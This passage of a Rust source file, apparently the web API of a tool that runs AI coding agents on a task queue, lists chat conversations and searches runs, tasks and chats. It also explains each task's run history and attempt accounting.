5414                let row = TalkListView {
5415                    title: talk.title.clone(),
5416                    agent_times: talk
5417                        .turns
5418                        .iter()
5419                        .filter(|t| t.who == talk::Who::Agent)
5420                        .map(|t| t.at)
5421                        .collect(),
5422                    turn_count: talk.turns.len(),
5423                    unread_count: 0,
5424                    context: talk::context_usage(&talk, None),
5425                    turns,
5426                    thinking: false,
5427                    id: talk.id,
5428                    repo: talk.repo,
5429                    agent: talk.agent,
5430                    status: talk.status,
5431                    created_at: talk.created_at,
5432                    updated_at: talk.updated_at,
5433                };
5434                index.insert(id.clone(), (identity, row));
5435            }
5436            let row = &index.get(&id)?.1;
5437            let mut row = TalkListView {
5438                title: row.title.clone(),
5439                unread_count: row
5440                    .agent_times
5441                    .iter()
5442                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5443                    .count(),
5444                agent_times: Vec::new(),
5445                id: row.id.clone(),
5446                repo: row.repo.clone(),
5447                agent: row.agent.clone(),
5448                status: row.status,
5449                context: row.context.clone(),
5450                turns: row.turns.clone(),
5451                turn_count: row.turn_count,
5452                thinking: false,
5453                created_at: row.created_at,
5454                updated_at: row.updated_at,
5455            };
5456            row.thinking = ui.is_thinking(&id);
5457            Some(row)
5458        })
5459        .collect()
5460}
5461
5462async fn talks_page(
5463    State(ui): State<Arc<Ui>>,
5464    Query(q): Query<PageQuery>,
5465    headers: header::HeaderMap,
5466) -> ApiResult<Json<StorePage<TalkListView>>> {
5467    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5468        let (ids, next) = page_ids(&ui, true, q)?;
5469        Ok(Json(StorePage {
5470            rows: talk_rows(&ui, ids, &headers),
5471            next,
5472        }))
5473    })
5474    .await
5475}
5476
5477async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5478    blocking(move || {
5479        let tasks = ui.indexed_tasks()?;
5480        Ok(Json(TaskCountsView::from(
5481            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5482        )))
5483    })
5484    .await
5485}
5486
5487/// Most hits one search returns. The rest are counted in `total`.
5488const SEARCH_MAX_HITS: usize = 100;
5489/// Longest query, in characters, and most terms it is split into.
5490const SEARCH_MAX_QUERY: usize = 200;
5491const SEARCH_MAX_TERMS: usize = 8;
5492/// Characters of context kept before the first hit, and after it.
5493const SNIPPET_BEFORE: usize = 50;
5494const SNIPPET_AFTER: usize = 110;
5495
5496/// `?scope=runs|tasks&q=...`
5497#[derive(Debug, Deserialize)]
5498struct SearchQuery {
5499    #[serde(default)]
5500    scope: String,
5501    #[serde(default)]
5502    q: String,
5503}
5504
5505/// One piece of a snippet. `hit` pieces are what matched; the client renders
5506/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5507#[derive(Debug, Serialize, PartialEq, Eq)]
5508struct SnippetPart {
5509    text: String,
5510    hit: bool,
5511}
5512
5513#[derive(Debug, Serialize)]
5514struct SearchHit {
5515    id: String,
5516    /// The name of the field the snippet was cut from.
5517    field: String,
5518    snippet: Vec<SnippetPart>,
5519    /// The run's list row, so the page can apply its state / section / repo
5520    /// filters to a hit outside the loaded window. Absent for tasks and for a
5521    /// run record the list view cannot read.
5522    #[serde(skip_serializing_if = "Option::is_none")]
5523    run: Option<RunSummary>,
5524}
5525
5526#[derive(Debug, Serialize)]
5527struct SearchView {
5528    scope: String,
5529    q: String,
5530    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5531    hits: Vec<SearchHit>,
5532    /// Every match, hits beyond the cap included.
5533    total: usize,
5534    truncated: bool,
5535    /// Runs whose `run.json` could not be parsed at all. They were not
5536    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5537    unreadable: usize,
5538}
5539
5540/// The text leaves of a JSON document, with the name of the field each sits
5541/// under. Keys and numbers are skipped: they are structure, not prose.
5542fn text_leaves<'a>(
5543    value: &'a serde_json::Value,
5544    field: &'a str,
5545    out: &mut Vec<(&'a str, &'a str)>,
5546) {
5547    match value {
5548        serde_json::Value::String(s) => out.push((field, s)),
5549        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5550        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5551        _ => {}
5552    }
5553}
5554
5555/// Lower-case one character without changing how many there are, so indices
5556/// in the lowered text are indices in the original.
5557fn fold_char(c: char) -> char {
5558    c.to_lowercase().next().unwrap_or(c)
5559}
5560
5561/// Split a query into its lower-cased terms.
5562fn search_terms(q: &str) -> Vec<String> {
5563    let mut terms: Vec<String> = Vec::new();
5564    for t in q.split_whitespace() {
5565        let t = t.to_lowercase();
5566        if !terms.contains(&t) {
5567            terms.push(t);
5568        }
5569    }
5570    terms
5571}
5572
5573/// Match `terms` (all of them, anywhere in the document) against the leaves
5574/// and cut a snippet around the first hit. `None` when a term is missing.
5575fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5576    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5577    let mut first: Option<usize> = None;
5578    for term in terms {
5579        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5580        first = Some(first.map_or(at, |f| f.min(at)));
5581    }
5582    // The leaf holding the earliest hit of any term is where the snippet is cut.
5583    let (field, text) = leaves[first?];
5584    Some(SearchHit {
5585        id: String::new(),
5586        field: field.to_owned(),
5587        snippet: snippet_of(text, terms),
5588        run: None,
5589    })
5590}
5591
5592/// A window of `text` around the first occurrence of any term, whitespace
5593/// collapsed, with every term occurrence inside the window marked.
5594fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5595    let chars: Vec<char> = text.chars().collect();
5596    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5597    let needles: Vec<Vec<char>> = terms
5598        .iter()
5599        .map(|t| t.chars().map(fold_char).collect())
5600        .collect();
5601    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5602        let mut best: Option<(usize, usize)> = None;
5603        for n in needles.iter().filter(|n| !n.is_empty()) {
5604            // `to` bounds where a match may start; it may run past `to` (the
5605            // caller clips what it shows). A term longer than the field cannot
5606            // occur in it (it may live in another leaf of the document).
5607            if n.len() > chars.len() || to == 0 {
5608                continue;
5609            }
5610            let last = (to - 1).min(chars.len() - n.len());
5611            if from > last {
5612                continue;
5613            }
5614            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5615                && best.is_none_or(|(b, _)| i < b)
5616            {
5617                best = Some((i, i + n.len()));
5618            }
5619        }
5620        best
5621    };
5622    let Some((start, _)) = find(0, chars.len()) else {
5623        // Matched only through a case mapping that changes length: show the head.
5624        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5625        return vec![SnippetPart {
5626            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5627            hit: false,
5628        }];
5629    };
5630    let lo = start.saturating_sub(SNIPPET_BEFORE);
5631    let hi = (start + SNIPPET_AFTER).min(chars.len());
5632    let mut parts: Vec<SnippetPart> = Vec::new();
5633    let mut push = |s: &[char], hit: bool| {
5634        if s.is_empty() {
5635            return;
5636        }
5637        let text: String = s.iter().collect();
5638        match parts.last_mut() {
5639            Some(p) if p.hit == hit => p.text.push_str(&text),
5640            _ => parts.push(SnippetPart { text, hit }),
5641        }
5642    };
5643    if lo > 0 {
5644        push(&['\u{2026}'], false);
5645    }
5646    let mut at = lo;
5647    while at < hi {
5648        match find(at, hi) {
5649            Some((s, e)) => {
5650                push(&chars[at..s], false);
5651                // A match running past the window is shown up to its edge.
5652                let shown = e.min(hi);
5653                push(&chars[s..shown], true);
5654                at = shown;
5655            }
5656            None => {
5657                push(&chars[at..hi], false);
5658                at = hi;
5659            }
5660        }
5661    }
5662    if hi < chars.len() {
5663        push(&['\u{2026}'], false);
5664    }
5665    // Collapse whitespace (newlines in an instruction) without disturbing the
5666    // hit boundaries.
5667    let mut prev_space = false;
5668    for p in &mut parts {
5669        let mut out = String::with_capacity(p.text.len());
5670        for c in p.text.chars() {
5671            if c.is_whitespace() {
5672                if !prev_space {
5673                    out.push(' ');
5674                }
5675                prev_space = true;
5676            } else {
5677                out.push(c);
5678                prev_space = false;
5679            }
5680        }
5681        p.text = out;
5682    }
5683    parts.retain(|p| !p.text.is_empty());
5684    parts
5685}
5686
5687/// The search over `docs` (id, document), newest first, capped.
5688fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5689where
5690    I: IntoIterator<Item = (String, serde_json::Value)>,
5691{
5692    for (id, doc) in docs {
5693        let mut leaves = Vec::new();
5694        // The id is text an operator types too, and it is a map key on disk,
5695        // not a leaf.
5696        leaves.push(("id", id.as_str()));
5697        text_leaves(&doc, "", &mut leaves);
5698        if let Some(mut hit) = search_document(terms, &leaves) {
5699            view.total += 1;
5700            if view.hits.len() < SEARCH_MAX_HITS {
5701                hit.id = id;
5702                view.hits.push(hit);
5703            }
5704        }
5705    }
5706    view.truncated = view.total > view.hits.len();
5707}
5708
5709/// What a conversation is searched by: its list title and each turn's text,
5710/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5711/// (session ids, repo paths, usage, drafts) is part of the document.
5712///
5713/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5714fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5715    let opener = talk
5716        .title
5717        .as_ref()
5718        .filter(|t| !t.text.is_empty())
5719        .map(|t| t.text.as_str())
5720        .or_else(|| {
5721            talk.turns
5722                .iter()
5723                .find(|t| t.who == talk::Who::Operator)
5724                .map(|t| t.body.as_str())
5725        })
5726        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5727        .unwrap_or("");
5728    let title: String = if opener.chars().count() > 96 {
5729        opener.chars().take(95).chain(['\u{2026}']).collect()
5730    } else {
5731        opener.to_owned()
5732    };
5733    let turns: Vec<serde_json::Value> = talk
5734        .turns
5735        .iter()
5736        .map(|t| {
5737            let who = match t.who {
5738                crate::talk::Who::Operator => "operator",
5739                crate::talk::Who::Agent => "agent",
5740            };
5741            serde_json::json!({ who: t.body })
5742        })
5743        .collect();
5744    serde_json::json!({ "title": title, "turns": turns })
5745}
5746
5747/// Read-only full-text search over every run's `run.json`, every task or every
5748/// conversation (title and transcript).
5749///
5750/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5751/// record from an older schema still searches; only a file that is not JSON
5752/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5753async fn search_get(
5754    State(ui): State<Arc<Ui>>,
5755    Query(q): Query<SearchQuery>,
5756) -> ApiResult<Json<SearchView>> {
5757    let query = q.q.trim().to_owned();
5758    if query.is_empty() {
5759        return Err(ApiError::bad_request("q must not be empty"));
5760    }
5761    if query.chars().count() > SEARCH_MAX_QUERY {
5762        return Err(ApiError::bad_request(format!(
5763            "q is longer than {SEARCH_MAX_QUERY} characters"
5764        )));
5765    }
5766    let terms = search_terms(&query);
5767    if terms.len() > SEARCH_MAX_TERMS {
5768        return Err(ApiError::bad_request(format!(
5769            "q has more than {SEARCH_MAX_TERMS} terms"
5770        )));
5771    }
5772    let scope = q.scope;
5773    if scope != "runs" && scope != "tasks" && scope != "chats" {
5774        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5775    }
5776    blocking(move || {
5777        let mut view = SearchView {
5778            scope: scope.clone(),
5779            q: query,
5780            hits: Vec::new(),
5781            total: 0,
5782            truncated: false,
5783            unreadable: 0,
5784        };
5785        if scope == "runs" {
5786            let mut unreadable = 0;
5787            // One run.json is read, matched and dropped at a time; nothing
5788            // holds the whole history. The scan runs to the end even past the
5789            // hit cap so `total` and `unreadable` stay exact.
5790            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5791                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5792                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5793                    Some(v) => Some((id, v)),
5794                    None => {
5795                        unreadable += 1;
5796                        None
5797                    }
5798                }
5799            });
5800            search_docs(&terms, docs, &mut view);
5801            view.unreadable = unreadable;
5802            // Only the capped hits get a row: the filters need a run's state,
5803            // and reading every match would be the whole history again.
5804            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5805            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5806            for hit in &mut view.hits {
5807                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5808                    hit.run = summarize(
5809                        [state],
5810                        &open_runs,
5811                        &claimed,
5812                        &superseded,
5813                        |p| probe.borrow_mut().status(p),
5814                        |p| probe.borrow_mut().started_at(p),
5815                    )
5816                    .pop();
5817                }
5818            }
5819        } else if scope == "chats" {
5820            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5821            view.unreadable = unreadable;
5822            search_docs(
5823                &terms,
5824                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5825                &mut view,
5826            );
5827        } else {
5828            let docs = ui.queue.list().into_iter().filter_map(|t| {
5829                let mut v = serde_json::to_value(&t).ok()?;
5830                // `source` serialises as a tagged object; the label is what
5831                // the operator reads ("human", "chat@a1b2").
5832                if let Some(o) = v.as_object_mut() {
5833                    o.insert("filed_by".to_owned(), t.source.label().into());
5834                }
5835                Some((t.id, v))
5836            });
5837            search_docs(&terms, docs, &mut view);
5838        }
5839        Ok(Json(view))
5840    })
5841    .await
5842}
5843
5844/// One attempt in a task's history, as the task page lists it.
5845#[derive(Debug, Serialize)]
5846struct TaskRunView {
5847    activity: Option<String>,
5848    /// 1-based position in [`Task::runs`].
5849    n: usize,
5850    id: String,
5851    short: String,
5852    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5853    kind: &'static str,
5854    /// The run's own status string; `None` when its record cannot be read.
5855    status: Option<&'static str>,
5856    /// Whether this build could read the run's record. Counted, never hidden.
5857    readable: bool,
5858    /// A verdict from a collapsed panel is provisional, never a decision.
5859    provisional: bool,
5860    /// What kind of attempt this was, in one line.
5861    description: String,
5862    /// How it ended and why the task moved on (or what it is doing now).
5863    outcome: String,
5864    created_at: Option<Timestamp>,
5865    pr: Option<String>,
5866    /// Why this pass ended, classified once; the flowchart is built from it.
5867    exit: RunExit,
5868    /// What the pass did to the task's attempt budget.
5869    attempt: AttemptCost,
5870    /// Edge wording for leaving this entry; names the recorded cause when
5871    /// there is one.
5872    exit_label: String,
5873    /// The position of a later entry for the same run: this entry is an
5874    /// earlier pass of it.
5875    later_pass: Option<usize>,
5876    /// Which pass over the run this entry is (1-based) and how many entries
5877    /// the task lists for the run. Counted from the list, so known even for
5878    /// a legacy record.
5879    pass_n: usize,
5880    passes_of_run: usize,
5881    /// What the run recorded about this pass; `None` for a record from before
5882    /// passes were kept, whose cause stays unknown.
5883    pass: Option<PassView>,
5884    /// The branch a review-only run reopened.
5885    branch: Option<String>,
5886    /// The badge word when it differs from `status` (`stale` / `superseded`);
5887    /// filled by the task route, which can see liveness and later attempts.
5888    badge: Option<String>,
5889}
5890
5891/// One recorded pass over a run, for the wire.
5892#[derive(Debug, Clone, PartialEq, Serialize)]
5893struct PassView {
5894    index: usize,
5895    resumed: bool,
5896    started_at: Timestamp,
5897    ended_at: Option<Timestamp>,
5898    /// `open`, `parked` or `unrecorded`.
5899    end: &'static str,
5900    cause: Option<crate::run::ParkCause>,
5901    /// One line: why it stopped, or that nobody recorded why.
5902    label: String,
5903    /// What the task recorded for this pass; `None` when it was not settled
5904    /// (or settled by a build that kept no record).
5905    cost: Option<crate::queue::PassCost>,
5906}
5907
5908impl PassView {
5909    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5910        use crate::run::PassEnd;
5911        let (end, cause, label) = match &p.end {
5912            None => ("open", None, "still open".to_owned()),
5913            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5914            Some(PassEnd::Unrecorded) => (
5915                "unrecorded",
5916                None,
5917                "stopped without recording why (a crash, a kill or a restart; not known)"
5918                    .to_owned(),
5919            ),
5920        };
5921        Self {
5922            index: p.index,
5923            resumed: p.resumed,
5924            started_at: p.started_at,
5925            ended_at: p.ended_at,
5926            end,
5927            cause,
5928            label,
5929            cost: settled.map(|t| t.cost),
5930        }
5931    }
5932}
5933
5934/// How one pass over a run ended, as far as the task's life is concerned.
5935#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5936#[serde(rename_all = "snake_case")]
5937enum RunExit {
5938    Unreadable,
5939    /// An earlier pass of a run id that appears again: it stopped short.
5940    Interrupted,
5941    Parked,
5942    MachineBlocked,
5943    QuotaStall,
5944    /// Stalled on a resumed pass with quota losses on record: they may be
5945    /// left over from an earlier pass, so whether this one was refunded is
5946    /// not knowable.
5947    ResumedQuotaStall,
5948    Merged,
5949    Ready,
5950    Superseded,
5951    /// The change was already on the base under other commits: the task
5952    /// finished without this run landing anything.
5953    AlreadyInBase,
5954    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5955    Stalled,
5956    /// Blocked / no-op with a pull request left open: held for a person.
5957    HeldWithPr,
5958    NoopHeld,
5959    /// Blocked or failed: the attempt is spent and the task retries or holds.
5960    Spent,
5961    InProgress,
5962}
5963
5964#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5965#[serde(rename_all = "snake_case")]
5966enum AttemptCost {
5967    Spent,
5968    Refunded,
5969    None,
5970    /// Cannot be told from the records that remain.
5971    Unknown,
5972}
5973
5974impl RunExit {
5975    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5976        let Some(s) = s else {
5977            return Self::Unreadable;
5978        };
5979        let status = s.status;
5980        if resumed_later {
5981            Self::Interrupted
5982        } else if s.parked {
5983            Self::Parked
5984        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5985            Self::MachineBlocked
5986        } else if !status.done() {
5987            Self::InProgress
5988        } else if matches!(status, RunStatus::Merged) {
5989            Self::Merged
5990        } else if matches!(status, RunStatus::Ready) {
5991            Self::Ready
5992        } else if matches!(status, RunStatus::Superseded) {
5993            Self::Superseded
5994        } else if matches!(status, RunStatus::AlreadyInBase) {
5995            Self::AlreadyInBase
5996        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5997            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5998        {
5999            if resumed {
6000                Self::ResumedQuotaStall
6001            } else {
6002                Self::QuotaStall
6003            }
6004        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6005            Self::HeldWithPr
6006        } else if matches!(status, RunStatus::VerifiedNoop) {
6007            Self::NoopHeld
6008        } else if matches!(status, RunStatus::Stalled) {
6009            Self::Stalled
6010        } else {
6011            Self::Spent
6012        }
6013    }
6014
6015    fn cost(self) -> AttemptCost {
6016        match self {
6017            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6018            Self::Merged
6019            | Self::Ready
6020            | Self::Stalled
6021            | Self::HeldWithPr
6022            | Self::NoopHeld
6023            | Self::Spent => AttemptCost::Spent,
6024            Self::InProgress => AttemptCost::None,
6025            Self::AlreadyInBase => AttemptCost::Refunded,
6026            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6027                AttemptCost::Unknown
6028            }
6029        }
6030    }
6031
6032    /// Short edge wording for leaving a run this way.
6033    fn edge_label(self, status: Option<&str>) -> String {
6034        match self {
6035            Self::Unreadable => "record unreadable".to_owned(),
6036            Self::Interrupted => "interrupted before the run finished".to_owned(),
6037            Self::Parked => "parked, attempt refunded".to_owned(),
6038            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6039            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6040            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6041            Self::Merged => "merged".to_owned(),
6042            Self::Ready => "ready, not merged".to_owned(),
6043            Self::Superseded => "superseded by a later attempt".to_owned(),
6044            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6045            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6046            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6047            Self::NoopHeld => "verified no-op".to_owned(),
6048            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6049            Self::InProgress => "in progress".to_owned(),
6050        }
6051    }
6052
6053    /// Does a task in `end` follow from a run that ended this way? When not,
6054    /// somebody closed or held the task by hand.
6055    fn explains(self, end: TaskStatus) -> bool {
6056        match self {
6057            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6058            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6059            Self::Unreadable | Self::Superseded | Self::Ready => true,
6060            _ => end != TaskStatus::Done,
6061        }
6062    }
6063}
6064
6065/// `GET /api/queue/{id}` - one task with every attempt it went through.
6066#[derive(Debug, Serialize)]
6067struct TaskDetailView {
6068    #[serde(flatten)]
6069    task: TaskView,
6070    /// Task override, or the default daemon budget when inherited.
6071    /// A separate loop's command-line limit is not visible from here.
6072    max_attempts: usize,
6073    history: Vec<TaskRunView>,
6074    /// Entries in `history`: passes over runs, not distinct runs and not
6075    /// attempts consumed (`task.attempts`).
6076    passes_total: usize,
6077    /// Distinct runs those passes belong to.
6078    runs_distinct: usize,
6079    flow: FlowView,
6080    /// Set for a follow-up task; see [`followup_origin`].
6081    followup_origin: Option<FollowUpOrigin>,
6082    /// How many entries of `history` could not be read.
6083    runs_unreadable: usize,
6084    /// Why the attempt count can be lower than the number of runs.
6085    attempts_note: &'static str,
6086}
6087
6088const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6089and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6090on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6091the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6092
6093/// The branch a review-only run reopened, read off the instruction
6094/// `Runner::open_review` writes.
6095fn review_branch_of(instruction: &str) -> Option<&str> {
6096    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6097    rest.split('`').next().filter(|b| !b.is_empty())
6098}
6099
6100/// Where an entry sits in a task's run list.
6101#[derive(Default)]
6102struct RunSlot<'a> {
6103    /// 1-based position.
6104    n: usize,
6105    /// The same run id appeared earlier: this pass resumed it.
6106    resumed: bool,
6107    /// Position of a later pass over the same run id, if any.
6108    resumed_later: Option<usize>,
6109    /// The previous distinct run and how it ended, for the retry note.
6110    prior: Option<(&'a str, RunStatus)>,
6111    last: bool,
6112    /// This pass as the run recorded it, when it did.
6113    pass: Option<&'a crate::run::RunPass>,
6114    /// What the task recorded when it settled this pass.
6115    settled: Option<&'a crate::queue::TaskPass>,
6116    /// 1-based position among the task's entries for this run, and their count.
6117    pass_n: usize,
6118    passes_of_run: usize,
6119}
6120
6121/// Describe one entry of a task's run list. Pure: everything it needs is on
6122/// the run and the task, so it is asserted without a server.
6123fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6124    let RunSlot {
6125        n,
6126        resumed,
6127        resumed_later,
6128        prior,
6129        last,
6130        pass,
6131        settled,
6132        pass_n,
6133        passes_of_run,
6134    } = at;
6135    let short = run::short_of(id).to_owned();
6136    let Some(s) = state else {
6137        return TaskRunView {
6138            activity: None,
6139            n,
6140            id: id.to_owned(),
6141            short,
6142            kind: "unknown",
6143            status: None,
6144            readable: false,
6145            provisional: false,
6146            description:
6147                "This run's record could not be read by this build (written by a different \
6148                          magi, or removed), so what kind of attempt it was is unknown."
6149                    .to_owned(),
6150            outcome: String::new(),
6151            created_at: None,
6152            pr: None,
6153            exit: RunExit::Unreadable,
6154            attempt: AttemptCost::Unknown,
6155            exit_label: RunExit::Unreadable.edge_label(None),
6156            later_pass: resumed_later,
6157            pass_n,
6158            passes_of_run,
6159            pass: None,
6160            branch: None,
6161            badge: None,
6162        };
6163    };
6164    let branch = review_branch_of(&s.instruction);
6165    let kind = if resumed {
6166        "resume"
6167    } else if branch.is_some() {
6168        "review"
6169    } else if task.solo || s.candidates.len() == 1 {
6170        "solo"
6171    } else {
6172        "competition"
6173    };
6174    let mut description = match kind {
6175        "resume" => {
6176            format!("Resumed run {short}: the same run carried on instead of competing again.")
6177        }
6178        "review" => format!(
6179            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6180            branch.unwrap_or_default()
6181        ),
6182        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6183        _ => format!(
6184            "Competition: {} candidates judged blind.",
6185            s.candidates.len().max(1)
6186        ),
6187    };
6188    if !resumed && let Some((p, st)) = prior {
6189        description.push_str(&format!(
6190            " A retry: run {p} before it ended {}.",
6191            st.display_label()
6192        ));
6193    }
6194
6195    let status = s.status;
6196    let provisional = matches!(status, RunStatus::Stalled)
6197        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6198    let head = if resumed_later.is_some() {
6199        String::new()
6200    } else {
6201        match status {
6202            RunStatus::Merged => "Merged.".to_owned(),
6203            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6204            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6205            RunStatus::AlreadyInBase => {
6206                "Already in the base: this change landed under other commits, nothing was left to land."
6207                    .to_owned()
6208            }
6209            RunStatus::Stalled => {
6210                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6211                    .to_owned()
6212            }
6213            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6214            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6215            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6216            RunStatus::VerifiedNoop => {
6217                "Verified no-op: the candidates found nothing to change.".to_owned()
6218            }
6219            other if other.done() => format!("Ended {}.", other.display_label()),
6220            other => format!("In progress ({}).", other.display_label()),
6221        }
6222    };
6223    let view = pass.map(|p| PassView::of(p, settled));
6224    let recorded_end = view
6225        .as_ref()
6226        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6227    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6228        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6229        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6230        None => "whether its attempt was handed back was not recorded",
6231    };
6232    let pass_note = if passes_of_run > 1 {
6233        format!(
6234            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6235        )
6236    } else {
6237        String::new()
6238    };
6239    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6240        // The run recorded this pass's end when it happened.
6241        let cause = match v.end {
6242            "parked" => format!("It was stopped on purpose: {}.", v.label),
6243            _ => format!("It {}.", v.label),
6244        };
6245        format!(
6246            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6247            capitalise(cost_words)
6248        )
6249    } else if let Some(k) = resumed_later {
6250        // A run is only picked up again while it is unfinished, so an earlier
6251        // pass of a repeated id stopped short; the record keeps only the run's
6252        // latest status, which is left to the pass that carried it on.
6253        // Only the latest state is recorded: `parked` is cleared on resume
6254        // and `quota` accumulates across passes, so neither says why *this*
6255        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6256        let cause = if s.quota.is_empty() {
6257            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6258        } else {
6259            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6260        };
6261        format!(
6262            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6263        )
6264    } else if s.parked {
6265        match recorded_end.and_then(|v| v.cause.as_ref()) {
6266            Some(cause) => format!(
6267                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6268                cause.label(),
6269                cost_words
6270            ),
6271            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6272                .to_owned(),
6273        }
6274    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6275        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6276    } else if !status.done()
6277        || matches!(
6278            status,
6279            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6280        )
6281    {
6282        String::new()
6283    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6284        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6285    {
6286        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6287            .to_owned()
6288    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6289        " It left a pull request open, so the task was held for a person rather than retried."
6290            .to_owned()
6291    } else if matches!(status, RunStatus::VerifiedNoop) {
6292        " Held for a person to check the claim.".to_owned()
6293    } else if last {
6294        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6295    } else {
6296        " It spent an attempt, and the task moved on to the next run.".to_owned()
6297    };
6298    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6299    let mut attempt = exit.cost();
6300    let mut exit_label = None;
6301    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6302        let spent = match v.cost {
6303            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6304            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6305            None if resumed_later.is_some() => ", refund not recorded",
6306            None => ", attempt refunded",
6307        };
6308        attempt = match v.cost {
6309            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6310            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6311            None if resumed_later.is_some() => AttemptCost::Unknown,
6312            None => attempt,
6313        };
6314        if v.end == "parked" {
6315            exit = RunExit::Parked;
6316            exit_label = Some(match v.cause.as_ref() {
